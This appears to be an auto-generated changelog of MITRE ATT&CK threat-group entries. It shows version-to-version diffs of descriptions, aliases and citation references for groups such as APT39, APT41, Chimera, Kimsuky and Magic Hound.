| external_references[3]['description'] | Hawley et al. (2019, January 29). APT39: An Iranian Cyber Espionage Group Focused on Personal Information. Retrieved February 19, 2019. | (Citation: FBI FLASH APT39 September 2020)(Citation: Dept. of Treasury Iran Sanctions September 2020)(Citation: DOJ Iran Indictments September 2020) |
| external_references[4]['source_name'] | Symantec Chafer Dec 2015 | Chafer |
| external_references[4]['description'] | Symantec Security Response. (2015, December 7). Iran-based attackers use back door threats to spy on Middle Eastern targets. Retrieved April 17, 2019. | Activities associated with APT39 largely align with a group publicly referred to as Chafer.(Citation: FireEye APT39 Jan 2019)(Citation: Symantec Chafer Dec 2015)(Citation: Dark Reading APT39 JAN 2019)(Citation: FBI FLASH APT39 September 2020)(Citation: Dept. of Treasury Iran Sanctions September 2020)(Citation: DOJ Iran Indictments September 2020) |
| external_references[5]['source_name'] | Dark Reading APT39 JAN 2019 | FireEye APT39 Jan 2019 |
| external_references[5]['description'] | Higgins, K. (2019, January 30). Iran Ups its Traditional Cyber Espionage Tradecraft. Retrieved May 22, 2020. | Hawley et al. (2019, January 29). APT39: An Iranian Cyber Espionage Group Focused on Personal Information. Retrieved February 19, 2019. |
| external_references[5]['url'] | https://www.darkreading.com/attacks-breaches/iran-ups-its-traditional-cyber-espionage-tradecraft/d/d-id/1333764 | https://www.fireeye.com/blog/threat-research/2019/01/apt39-iranian-cyber-espionage-group-focused-on-personal-information.html |
| x_mitre_version | 2.3 | 3.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| aliases | REMIX KITTEN | |
| aliases | ITG07 | |
| external_references | {'source_name': 'Symantec Chafer Dec 2015', 'description': 'Symantec Security Response. (2015, December 7). Iran-based attackers use back door threats to spy on Middle Eastern targets. Retrieved April 17, 2019.', 'url': 'https://www.symantec.com/connect/blogs/iran-based-attackers-use-back-door-threats-spy-middle-eastern-targets'} | |
| external_references | {'source_name': 'FBI FLASH APT39 September 2020', 'description': 'FBI. (2020, September 17). Indicators of Compromise Associated with Rana Intelligence Computing, also known as Advanced Persistent Threat 39, Chafer, Cadelspy, Remexi, and ITG07. Retrieved December 10, 2020.', 'url': 'https://www.iranwatch.org/sites/default/files/public-intelligence-alert.pdf'} | |
| external_references | {'source_name': 'Dept. of Treasury Iran Sanctions September 2020', 'description': 'Dept. of Treasury. (2020, September 17). Treasury Sanctions Cyber Actors Backed by Iranian Intelligence. Retrieved December 10, 2020.', 'url': 'https://home.treasury.gov/news/press-releases/sm1127'} | |
| external_references | {'source_name': 'DOJ Iran Indictments September 2020', 'description': 'DOJ. (2020, September 17). Department of Justice and Partner Departments and Agencies Conduct Coordinated Actions to Disrupt and Deter Iranian Malicious Cyber Activities Targeting the United States and the Broader International Community. Retrieved December 10, 2020.', 'url': 'https://www.justice.gov/opa/pr/department-justice-and-partner-departments-and-agencies-conduct-coordinated-actions-disrupt'} | |
| external_references | {'source_name': 'Crowdstrike GTR2020 Mar 2020', 'description': 'Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020.', 'url': 'https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf'} | |
| external_references | {'source_name': 'Dark Reading APT39 JAN 2019', 'description': 'Higgins, K. (2019, January 30). Iran Ups its Traditional Cyber Espionage Tradecraft. Retrieved May 22, 2020.', 'url': 'https://www.darkreading.com/attacks-breaches/iran-ups-its-traditional-cyber-espionage-tradecraft/d/d-id/1333764'} |
Current version: 3.0
Version changed from: 1.1 → 3.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [APT41](https://attack.mitre.org/groups/G0096) is a group th | t | 1 | [APT41](https://attack.mitre.org/groups/G0096) is a threat g |
| > | at carries out Chinese state-sponsored espionage activity in | > | roup that researchers have assessed as Chinese state-sponsor | ||
| > | addition to financially motivated activity. [APT41](https:/ | > | ed espionage group that also conducts financially-motivated | ||
| > | /attack.mitre.org/groups/G0096) has been active since as ear | > | operations. Active since at least 2012, [APT41](https://atta | ||
| > | ly as 2012. The group has been observed targeting healthcare | > | ck.mitre.org/groups/G0096) has been observed targeting healt | ||
| > | , telecom, technology, and video game industries in 14 count | > | hcare, telecom, technology, and video game industries in 14 | ||
| > | ries.(Citation: FireEye APT41 Aug 2019) | > | countries. [APT41](https://attack.mitre.org/groups/G0096) ov | ||
| > | erlaps at least partially with public reporting on groups in | ||||
| > | cluding BARIUM and [Winnti Group](https://attack.mitre.org/g | ||||
| > | roups/G0044).(Citation: FireEye APT41 Aug 2019)(Citation: Gr | ||||
| > | oup IB APT 41 June 2021) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['Kyaw Pyiyt Htet, @KyawPyiytHtet'] |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | https://content.fireeye.com/apt-41/rpt-apt41 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-24 00:51:25.764000+00:00 | 2021-10-15 00:28:08.413000+00:00 |
| description | [APT41](https://attack.mitre.org/groups/G0096) is a group that carries out Chinese state-sponsored espionage activity in addition to financially motivated activity. [APT41](https://attack.mitre.org/groups/G0096) has been active since as early as 2012. The group has been observed targeting healthcare, telecom, technology, and video game industries in 14 countries.(Citation: FireEye APT41 Aug 2019) | [APT41](https://attack.mitre.org/groups/G0096) is a threat group that researchers have assessed as Chinese state-sponsored espionage group that also conducts financially-motivated operations. Active since at least 2012, [APT41](https://attack.mitre.org/groups/G0096) has been observed targeting healthcare, telecom, technology, and video game industries in 14 countries. [APT41](https://attack.mitre.org/groups/G0096) overlaps at least partially with public reporting on groups including BARIUM and [Winnti Group](https://attack.mitre.org/groups/G0044).(Citation: FireEye APT41 Aug 2019)(Citation: Group IB APT 41 June 2021) |
| external_references[2]['source_name'] | FireEye APT41 Aug 2019 | WICKED PANDA |
| external_references[2]['description'] | Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019. | (Citation: Crowdstrike GTR2020 Mar 2020) |
| x_mitre_version | 1.1 | 3.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| aliases | WICKED PANDA | |
| external_references | {'source_name': 'FireEye APT41 Aug 2019', 'description': 'Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.', 'url': 'https://content.fireeye.com/apt-41/rpt-apt41'} | |
| external_references | {'source_name': 'Group IB APT 41 June 2021', 'description': 'Rostovcev, N. (2021, June 10). Big airline heist APT41 likely behind a third-party attack on Air India. Retrieved August 26, 2021.', 'url': 'https://blog.group-ib.com/colunmtk_apt41'} | |
| external_references | {'source_name': 'Crowdstrike GTR2020 Mar 2020', 'description': 'Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020.', 'url': 'https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf'} |
Current version: 1.3
Version changed from: 1.1 → 1.3
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-25 20:54:52.793000+00:00 | 2021-10-12 19:42:16.869000+00:00 |
| x_mitre_version | 1.1 | 1.3 |
Current version: 2.1
Version changed from: 1.0 → 2.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Chimera](https://attack.mitre.org/groups/G0114) is a suspec | t | 1 | [Chimera](https://attack.mitre.org/groups/G0114) is a suspec |
| > | ted China-based threat group, targeting the semiconductor in | > | ted China-based threat group that has been active since at l | ||
| > | dustry in Taiwan since at least 2018.(Citation: Cycraft Chim | > | east 2018 targeting the semiconductor industry in Taiwan as | ||
| > | era April 2020) | > | well as data from the airline industry.(Citation: Cycraft Ch | ||
| > | imera April 2020)(Citation: NCC Group Chimera January 2021) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | https://cycraft.com/download/%5BTLP-White%5D20200415%20Chimera_V4.1.pdf |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-05 20:59:57.694000+00:00 | 2021-10-12 21:53:00.909000+00:00 |
| description | [Chimera](https://attack.mitre.org/groups/G0114) is a suspected China-based threat group, targeting the semiconductor industry in Taiwan since at least 2018.(Citation: Cycraft Chimera April 2020) | [Chimera](https://attack.mitre.org/groups/G0114) is a suspected China-based threat group that has been active since at least 2018 targeting the semiconductor industry in Taiwan as well as data from the airline industry.(Citation: Cycraft Chimera April 2020)(Citation: NCC Group Chimera January 2021) |
| external_references[1]['source_name'] | Cycraft Chimera April 2020 | Chimera |
| external_references[1]['description'] | Cycraft. (2020, April 15). APT Group Chimera - APT Operation Skeleton key Targets Taiwan Semiconductor Vendors. Retrieved August 24, 2020. | (Citation: NCC Group Chimera January 2021) |
| x_mitre_version | 1.0 | 2.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Cycraft Chimera April 2020', 'description': 'Cycraft. (2020, April 15). APT Group Chimera - APT Operation Skeleton key Targets Taiwan Semiconductor Vendors. Retrieved August 24, 2020.', 'url': 'https://cycraft.com/download/%5BTLP-White%5D20200415%20Chimera_V4.1.pdf'} | |
| external_references | {'source_name': 'NCC Group Chimera January 2021', 'description': 'Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved January 19, 2021.', 'url': 'https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/'} |
Current version: 1.5
Version changed from: 1.3 → 1.5
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-31 12:43:39.280000+00:00 | 2021-05-26 12:32:58.912000+00:00 |
| x_mitre_version | 1.3 | 1.5 |
Current version: 2.1
Version changed from: 1.3 → 2.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Dragonfly 2.0](https://attack.mitre.org/groups/G0074) is a | t | 1 | [Dragonfly 2.0](https://attack.mitre.org/groups/G0074) is a |
| > | suspected Russian group that has targeted government entitie | > | suspected Russian group that has targeted government entitie | ||
| > | s and multiple U.S. critical infrastructure sectors since at | > | s and multiple U.S. critical infrastructure sectors since at | ||
| > | least March 2016. (Citation: US-CERT TA18-074A) (Citation: | > | least December 2015. (Citation: US-CERT TA18-074A) (Citatio | ||
| > | Symantec Dragonfly Sept 2017) There is debate over the exten | > | n: Symantec Dragonfly Sept 2017) There is debate over the ex | ||
| > | t of overlap between [Dragonfly 2.0](https://attack.mitre.or | > | tent of overlap between [Dragonfly 2.0](https://attack.mitre | ||
| > | g/groups/G0074) and [Dragonfly](https://attack.mitre.org/gro | > | .org/groups/G0074) and [Dragonfly](https://attack.mitre.org/ | ||
| > | ups/G0035), but there is sufficient evidence to lead to thes | > | groups/G0035), but there is sufficient evidence to lead to t | ||
| > | e being tracked as two separate groups. (Citation: Fortune D | > | hese being tracked as two separate groups. (Citation: Fortun | ||
| > | ragonfly 2.0 Sept 2017)(Citation: Dragos DYMALLOY ) | > | e Dragonfly 2.0 Sept 2017)(Citation: Dragos DYMALLOY ) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-15 20:14:58.980000+00:00 | 2021-10-14 20:07:00.932000+00:00 |
| description | [Dragonfly 2.0](https://attack.mitre.org/groups/G0074) is a suspected Russian group that has targeted government entities and multiple U.S. critical infrastructure sectors since at least March 2016. (Citation: US-CERT TA18-074A) (Citation: Symantec Dragonfly Sept 2017) There is debate over the extent of overlap between [Dragonfly 2.0](https://attack.mitre.org/groups/G0074) and [Dragonfly](https://attack.mitre.org/groups/G0035), but there is sufficient evidence to lead to these being tracked as two separate groups. (Citation: Fortune Dragonfly 2.0 Sept 2017)(Citation: Dragos DYMALLOY ) | [Dragonfly 2.0](https://attack.mitre.org/groups/G0074) is a suspected Russian group that has targeted government entities and multiple U.S. critical infrastructure sectors since at least December 2015. (Citation: US-CERT TA18-074A) (Citation: Symantec Dragonfly Sept 2017) There is debate over the extent of overlap between [Dragonfly 2.0](https://attack.mitre.org/groups/G0074) and [Dragonfly](https://attack.mitre.org/groups/G0035), but there is sufficient evidence to lead to these being tracked as two separate groups. (Citation: Fortune Dragonfly 2.0 Sept 2017)(Citation: Dragos DYMALLOY ) |
| x_mitre_version | 1.3 | 2.1 |
Current version: 3.2
Version changed from: 3.0 → 3.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-21 00:44:24.198000+00:00 | 2021-10-14 17:23:58.316000+00:00 |
| x_mitre_version | 3.0 | 3.2 |
Current version: 3.0
Version changed from: 1.1 → 3.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Kimsuky](https://attack.mitre.org/groups/G0094) is a North | t | 1 | [Kimsuky](https://attack.mitre.org/groups/G0094) is a North |
| > | Korean-based threat group that has been active since at leas | > | Korea-based cyber espionage group that has been active since | ||
| > | t September 2013. The group focuses on targeting Korean thin | > | at least 2012. The group initially focused on targeting Sou | ||
| > | k tank as well as DPRK/nuclear-related targets. The group wa | > | th Korean government entities, think tanks, and individuals | ||
| > | s attributed as the actor behind the Korea Hydro & Nuclear P | > | identified as experts in various fields, and expanded its op | ||
| > | ower Co. compromise.(Citation: EST Kimsuky April 2019)(Citat | > | erations to include the United States, Russia, Europe, and t | ||
| > | ion: BRI Kimsuky April 2019) | > | he UN. [Kimsuky](https://attack.mitre.org/groups/G0094) has | ||
| > | focused its intelligence collection activities on foreign po | ||||
| > | licy and national security issues related to the Korean peni | ||||
| > | nsula, nuclear policy, and sanctions.(Citation: EST Kimsuky | ||||
| > | April 2019)(Citation: BRI Kimsuky April 2019)(Citation: Cybe | ||||
| > | reason Kimsuky November 2020)(Citation: Malwarebytes Kimsuky | ||||
| > | June 2021)(Citation: CISA AA20-301A Kimsuky) [Kimsuky](htt | ||||
| > | ps://attack.mitre.org/groups/G0094) was assessed to be respo | ||||
| > | nsible for the 2014 Korea Hydro & Nuclear Power Co. compromi | ||||
| > | se; other notable campaigns include Operation STOLEN PENCIL | ||||
| > | (2018), Operation Kabar Cobra (2019), and Operation Smoke Sc | ||||
| > | reen (2019).(Citation: Netscout Stolen Pencil Dec 2018)(Cita | ||||
| > | tion: EST Kimsuky SmokeScreen April 2019)(Citation: AhnLab K | ||||
| > | imsuky Kabar Cobra Feb 2019) North Korean group definitions | ||||
| > | are known to have significant overlap, and some security re | ||||
| > | searchers report all North Korean state-sponsored cyber acti | ||||
| > | vity under the name [Lazarus Group](https://attack.mitre.org | ||||
| > | /groups/G0032) instead of tracking clusters or subgroups. | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | https://blog.alyac.co.kr/2234 | |
| external_references | https://brica.de/alerts/alert/public/1255063/kimsuky-unveils-apt-campaign-smoke-screen-aimed-at-korea-and-america/ | |
| external_references | https://securelist.com/the-kimsuky-operation-a-north-korean-apt/57915/ |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 02:56:46.530000+00:00 | 2021-10-14 22:35:20.109000+00:00 |
| description | [Kimsuky](https://attack.mitre.org/groups/G0094) is a North Korean-based threat group that has been active since at least September 2013. The group focuses on targeting Korean think tank as well as DPRK/nuclear-related targets. The group was attributed as the actor behind the Korea Hydro & Nuclear Power Co. compromise.(Citation: EST Kimsuky April 2019)(Citation: BRI Kimsuky April 2019) | [Kimsuky](https://attack.mitre.org/groups/G0094) is a North Korea-based cyber espionage group that has been active since at least 2012. The group initially focused on targeting South Korean government entities, think tanks, and individuals identified as experts in various fields, and expanded its operations to include the United States, Russia, Europe, and the UN. [Kimsuky](https://attack.mitre.org/groups/G0094) has focused its intelligence collection activities on foreign policy and national security issues related to the Korean peninsula, nuclear policy, and sanctions.(Citation: EST Kimsuky April 2019)(Citation: BRI Kimsuky April 2019)(Citation: Cybereason Kimsuky November 2020)(Citation: Malwarebytes Kimsuky June 2021)(Citation: CISA AA20-301A Kimsuky) [Kimsuky](https://attack.mitre.org/groups/G0094) was assessed to be responsible for the 2014 Korea Hydro & Nuclear Power Co. compromise; other notable campaigns include Operation STOLEN PENCIL (2018), Operation Kabar Cobra (2019), and Operation Smoke Screen (2019).(Citation: Netscout Stolen Pencil Dec 2018)(Citation: EST Kimsuky SmokeScreen April 2019)(Citation: AhnLab Kimsuky Kabar Cobra Feb 2019) North Korean group definitions are known to have significant overlap, and some security researchers report all North Korean state-sponsored cyber activity under the name [Lazarus Group](https://attack.mitre.org/groups/G0032) instead of tracking clusters or subgroups. |
| external_references[1]['description'] | (Citation: Securelist Kimsuky Sept 2013) | (Citation: Securelist Kimsuky Sept 2013)(Citation: Malwarebytes Kimsuky June 2021) |
| external_references[2]['source_name'] | Velvet Chollima | STOLEN PENCIL |
| external_references[2]['description'] | (Citation: Zdnet Kimsuky Dec 2018) | (Citation: Netscout Stolen Pencil Dec 2018) |
| external_references[3]['source_name'] | EST Kimsuky April 2019 | Thallium |
| external_references[3]['description'] | Alyac. (2019, April 3). Kimsuky Organization Steals Operation Stealth Power. Retrieved August 13, 2019. | (Citation: Cybereason Kimsuky November 2020)(Citation: Malwarebytes Kimsuky June 2021) |
| external_references[4]['source_name'] | BRI Kimsuky April 2019 | Black Banshee |
| external_references[4]['description'] | BRI. (2019, April). Kimsuky unveils APT campaign 'Smoke Screen' aimed at Korea and America. Retrieved October 7, 2019. | (Citation: Cybereason Kimsuky November 2020)(Citation: Malwarebytes Kimsuky June 2021) |
| external_references[5]['source_name'] | Securelist Kimsuky Sept 2013 | Velvet Chollima |
| external_references[5]['description'] | Tarakanov , D.. (2013, September 11). The “Kimsuky” Operation: A North Korean APT?. Retrieved August 13, 2019. | (Citation: Zdnet Kimsuky Dec 2018)(Citation: ThreatConnect Kimsuky September 2020)(Citation: Malwarebytes Kimsuky June 2021) |
| external_references[6]['source_name'] | Zdnet Kimsuky Dec 2018 | EST Kimsuky April 2019 |
| external_references[6]['description'] | Cimpanu, C.. (2018, December 5). Cyber-espionage group uses Chrome extension to infect victims. Retrieved August 26, 2019. | Alyac. (2019, April 3). Kimsuky Organization Steals Operation Stealth Power. Retrieved August 13, 2019. |
| external_references[6]['url'] | https://www.zdnet.com/article/cyber-espionage-group-uses-chrome-extension-to-infect-victims/ | https://blog.alyac.co.kr/2234 |
| x_mitre_version | 1.1 | 3.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| aliases | STOLEN PENCIL | |
| aliases | Thallium | |
| aliases | Black Banshee | |
| external_references | {'source_name': 'BRI Kimsuky April 2019', 'description': "BRI. (2019, April). Kimsuky unveils APT campaign 'Smoke Screen' aimed at Korea and America. Retrieved October 7, 2019.", 'url': 'https://brica.de/alerts/alert/public/1255063/kimsuky-unveils-apt-campaign-smoke-screen-aimed-at-korea-and-america/'} | |
| external_references | {'source_name': 'Cybereason Kimsuky November 2020', 'description': 'Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020.', 'url': 'https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite'} | |
| external_references | {'source_name': 'Malwarebytes Kimsuky June 2021', 'description': 'Jazi, H. (2021, June 1). Kimsuky APT continues to target South Korean government using AppleSeed backdoor. Retrieved June 10, 2021.', 'url': 'https://blog.malwarebytes.com/threat-analysis/2021/06/kimsuky-apt-continues-to-target-south-korean-government-using-appleseed-backdoor/'} | |
| external_references | {'source_name': 'CISA AA20-301A Kimsuky', 'description': 'CISA, FBI, CNMF. (2020, October 27). https://us-cert.cisa.gov/ncas/alerts/aa20-301a. Retrieved November 4, 2020.', 'url': 'https://us-cert.cisa.gov/ncas/alerts/aa20-301a'} | |
| external_references | {'source_name': 'Netscout Stolen Pencil Dec 2018', 'description': 'ASERT team. (2018, December 5). STOLEN PENCIL Campaign Targets Academia. Retrieved February 5, 2019.', 'url': 'https://asert.arbornetworks.com/stolen-pencil-campaign-targets-academia/'} | |
| external_references | {'source_name': 'EST Kimsuky SmokeScreen April 2019', 'description': 'ESTSecurity. (2019, April 17). Analysis of the APT Campaign ‘Smoke Screen’ targeting to Korea and US 출처: https://blog.alyac.co.kr/2243 [이스트시큐리티 알약 블로그]. Retrieved September 29, 2021.', 'url': 'https://blog.alyac.co.kr/attachment/cfile5.uf@99A0CD415CB67E210DCEB3.pdf'} | |
| external_references | {'source_name': 'AhnLab Kimsuky Kabar Cobra Feb 2019', 'description': 'AhnLab. (2019, February 28). Operation Kabar Cobra - Tenacious cyber-espionage campaign by Kimsuky Group. Retrieved September 29, 2021.', 'url': 'https://global.ahnlab.com/global/upload/download/techreport/[Analysis_Report]Operation%20Kabar%20Cobra.pdf'} | |
| external_references | {'source_name': 'Securelist Kimsuky Sept 2013', 'description': 'Tarakanov , D.. (2013, September 11). The “Kimsuky” Operation: A North Korean APT?. Retrieved August 13, 2019.', 'url': 'https://securelist.com/the-kimsuky-operation-a-north-korean-apt/57915/'} | |
| external_references | {'source_name': 'Zdnet Kimsuky Dec 2018', 'description': 'Cimpanu, C.. (2018, December 5). Cyber-espionage group uses Chrome extension to infect victims. Retrieved August 26, 2019.', 'url': 'https://www.zdnet.com/article/cyber-espionage-group-uses-chrome-extension-to-infect-victims/'} | |
| external_references | {'source_name': 'ThreatConnect Kimsuky September 2020', 'description': 'ThreatConnect. (2020, September 28). Kimsuky Phishing Operations Putting In Work. Retrieved October 30, 2020.', 'url': 'https://threatconnect.com/blog/kimsuky-phishing-operations-putting-in-work/'} |
Current version: 4.0
Version changed from: 2.0 → 4.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Magic Hound](https://attack.mitre.org/groups/G0059) is an I | t | 1 | [Magic Hound](https://attack.mitre.org/groups/G0059) is an I |
| > | ranian-sponsored threat group that conducts long term, resou | > | ranian-sponsored threat group that conducts long term, resou | ||
| > | rce-intensive operations to collect intelligence, dating bac | > | rce-intensive cyber espionage operations, likely on behalf o | ||
| > | k as early as 2014. The group typically targets U.S. and the | > | f the Islamic Revolutionary Guard Corps. They have targeted | ||
| > | Middle Eastern military, as well as other organizations wit | > | U.S. and Middle Eastern government and military personnel, a | ||
| > | h government personnel, via complex social engineering campa | > | cademics, journalists, and organizations such as the World H | ||
| > | igns.(Citation: FireEye APT35 2018) | > | ealth Organization (WHO), via complex social engineering cam | ||
| > | paigns since at least 2014.(Citation: FireEye APT35 2018)(Ci | ||||
| > | tation: ClearSky Kittens Back 3 August 2020)(Citation: Certf | ||||
| > | a Charming Kitten January 2021)(Citation: Secureworks COBALT | ||||
| > | ILLUSION Threat Profile)(Citation: Proofpoint TA453 July202 | ||||
| > | 1) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-07-04 23:30:03.871000+00:00 | 2021-10-04 13:12:54.646000+00:00 |
| description | [Magic Hound](https://attack.mitre.org/groups/G0059) is an Iranian-sponsored threat group that conducts long term, resource-intensive operations to collect intelligence, dating back as early as 2014. The group typically targets U.S. and the Middle Eastern military, as well as other organizations with government personnel, via complex social engineering campaigns.(Citation: FireEye APT35 2018) | [Magic Hound](https://attack.mitre.org/groups/G0059) is an Iranian-sponsored threat group that conducts long term, resource-intensive cyber espionage operations, likely on behalf of the Islamic Revolutionary Guard Corps. They have targeted U.S. and Middle Eastern government and military personnel, academics, journalists, and organizations such as the World Health Organization (WHO), via complex social engineering campaigns since at least 2014.(Citation: FireEye APT35 2018)(Citation: ClearSky Kittens Back 3 August 2020)(Citation: Certfa Charming Kitten January 2021)(Citation: Secureworks COBALT ILLUSION Threat Profile)(Citation: Proofpoint TA453 July2021) |
| aliases[1] | Cobalt Gypsy | TA453 |
| aliases[2] | Operation Woolen-Goldfish | COBALT ILLUSION |
| aliases[3] | Ajax Security Team | Charming Kitten |
| aliases[4] | Operation Saffron Rose | ITG18 |
| external_references[2]['source_name'] | Cobalt Gypsy | TA453 |
| external_references[2]['description'] | Based on overlapping hash values in reporting, Magic Hound activity appears to overlap with activity conducted by the group known as Cobalt Gypsy.(Citation: Secureworks Cobalt Gypsy Feb 2017) | (Citation: Proofpoint TA453 March 2021)(Citation: Proofpoint TA453 July2021) |
| external_references[3]['source_name'] | Operation Woolen-Goldfish | COBALT ILLUSION |
| external_references[3]['description'] | Link analysis of infrastructure and tools revealed a potential relationship between Magic Hound and the campaign Operation Woolen-Goldfish.(Citation: Unit 42 Magic Hound Feb 2017) | (Citation: Secureworks COBALT ILLUSION Threat Profile) |
| external_references[4]['source_name'] | Ajax Security Team | Charming Kitten |
| external_references[4]['description'] | Link analysis of infrastructure and tools revealed a potential relationship between Magic Hound and the group Ajax Security Team.(Citation: Unit 42 Magic Hound Feb 2017) | (Citation: ClearSky Charming Kitten Dec 2017)(Citation: Eweek Newscaster and Charming Kitten May 2014)(Citation: ClearSky Kittens Back 2 Oct 2019)(Citation: ClearSky Kittens Back 3 August 2020)(Citation: Proofpoint TA453 March 2021) |
| external_references[5]['source_name'] | Operation Saffron Rose | ITG18 |
| external_references[5]['description'] | Link analysis of infrastructure and tools revealed a potential relationship between Magic Hound and the campaign Operation Saffron Rose.(Citation: Unit 42 Magic Hound Feb 2017) | (Citation: IBM ITG18 2020) |
| external_references[6]['source_name'] | Rocket Kitten | Phosphorus |
| external_references[6]['description'] | Link analysis of infrastructure and tools revealed a potential relationship between Magic Hound and the adversary group Rocket Kitten.(Citation: Unit 42 Magic Hound Feb 2017)(Citation: ClearSky Charming Kitten Dec 2017) | (Citation: Microsoft Phosphorus Mar 2019)(Citation: Microsoft Phosphorus Oct 2020)(Citation: US District Court of DC Phosphorus Complaint 2019)(Citation: Certfa Charming Kitten January 2021)(Citation: Proofpoint TA453 March 2021) |
| external_references[7]['source_name'] | Phosphorus | Newscaster |
| external_references[7]['description'] | (Citation: Microsoft Phosphorus Mar 2019) | Link analysis of infrastructure and tools revealed a potential relationship between Magic Hound and the older attack campaign called Newscaster (aka Newscasters).(Citation: Unit 42 Magic Hound Feb 2017)(Citation: FireEye APT35 2018) |
| external_references[8]['source_name'] | Newscaster | APT35 |
| external_references[8]['description'] | Link analysis of infrastructure and tools revealed a potential relationship between Magic Hound and the older attack campaign called Newscaster (aka Newscasters).(Citation: Unit 42 Magic Hound Feb 2017)(Citation: FireEye APT35 2018) | (Citation: FireEye APT35 2018)(Citation: Certfa Charming Kitten January 2021) |
| external_references[9]['source_name'] | APT35 | FireEye APT35 2018 |
| external_references[9]['description'] | (Citation: FireEye APT35 2018) | Mandiant. (2018). Mandiant M-Trends 2018. Retrieved July 9, 2018. |
| external_references[10]['source_name'] | FireEye APT35 2018 | ClearSky Kittens Back 3 August 2020 |
| external_references[10]['description'] | Mandiant. (2018). Mandiant M-Trends 2018. Retrieved July 9, 2018. | ClearSky Research Team. (2020, August 1). The Kittens Are Back in Town 3 - Charming Kitten Campaign Evolved and Deploying Spear-Phishing link by WhatsApp. Retrieved April 21, 2021. |
| external_references[10]['url'] | https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf | https://www.clearskysec.com/wp-content/uploads/2020/08/The-Kittens-are-Back-in-Town-3.pdf |
| external_references[11]['source_name'] | Unit 42 Magic Hound Feb 2017 | Certfa Charming Kitten January 2021 |
| external_references[11]['description'] | Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017. | Certfa Labs. (2021, January 8). Charming Kitten’s Christmas Gift. Retrieved May 3, 2021. |
| external_references[11]['url'] | https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/ | https://blog.certfa.com/posts/charming-kitten-christmas-gift/ |
| external_references[12]['source_name'] | Secureworks Cobalt Gypsy Feb 2017 | Secureworks COBALT ILLUSION Threat Profile |
| external_references[12]['description'] | Counter Threat Unit Research Team. (2017, February 15). Iranian PupyRAT Bites Middle Eastern Organizations. Retrieved December 27, 2017. | Secureworks. (n.d.). COBALT ILLUSION Threat Profile. Retrieved April 14, 2021. |
| external_references[12]['url'] | https://www.secureworks.com/blog/iranian-pupyrat-bites-middle-eastern-organizations | https://www.secureworks.com/research/threat-profiles/cobalt-illusion |
| external_references[13]['source_name'] | ClearSky Charming Kitten Dec 2017 | Proofpoint TA453 July2021 |
| external_references[13]['description'] | ClearSky Cyber Security. (2017, December). Charming Kitten. Retrieved December 27, 2017. | Miller, J. et al. (2021, July 13). Operation SpoofedScholars: A Conversation with TA453. Retrieved August 18, 2021. |
| external_references[13]['url'] | http://www.clearskysec.com/wp-content/uploads/2017/12/Charming_Kitten_2017.pdf | https://www.proofpoint.com/us/blog/threat-insight/operation-spoofedscholars-conversation-ta453 |
| external_references[14]['source_name'] | Microsoft Phosphorus Mar 2019 | Unit 42 Magic Hound Feb 2017 |
| external_references[14]['description'] | Burt, T.. (2019, March 27). New steps to protect customers from hacking. Retrieved May 27, 2020. | Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017. |
| external_references[14]['url'] | https://blogs.microsoft.com/on-the-issues/2019/03/27/new-steps-to-protect-customers-from-hacking/ | https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/ |
| x_mitre_version | 2.0 | 4.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Proofpoint TA453 March 2021', 'description': 'Miller, J. et al. (2021, March 30). BadBlood: TA453 Targets US and Israeli Medical Research Personnel in Credential Phishing Campaigns. Retrieved May 4, 2021.', 'url': 'https://www.proofpoint.com/us/blog/threat-insight/badblood-ta453-targets-us-and-israeli-medical-research-personnel-credential'} | |
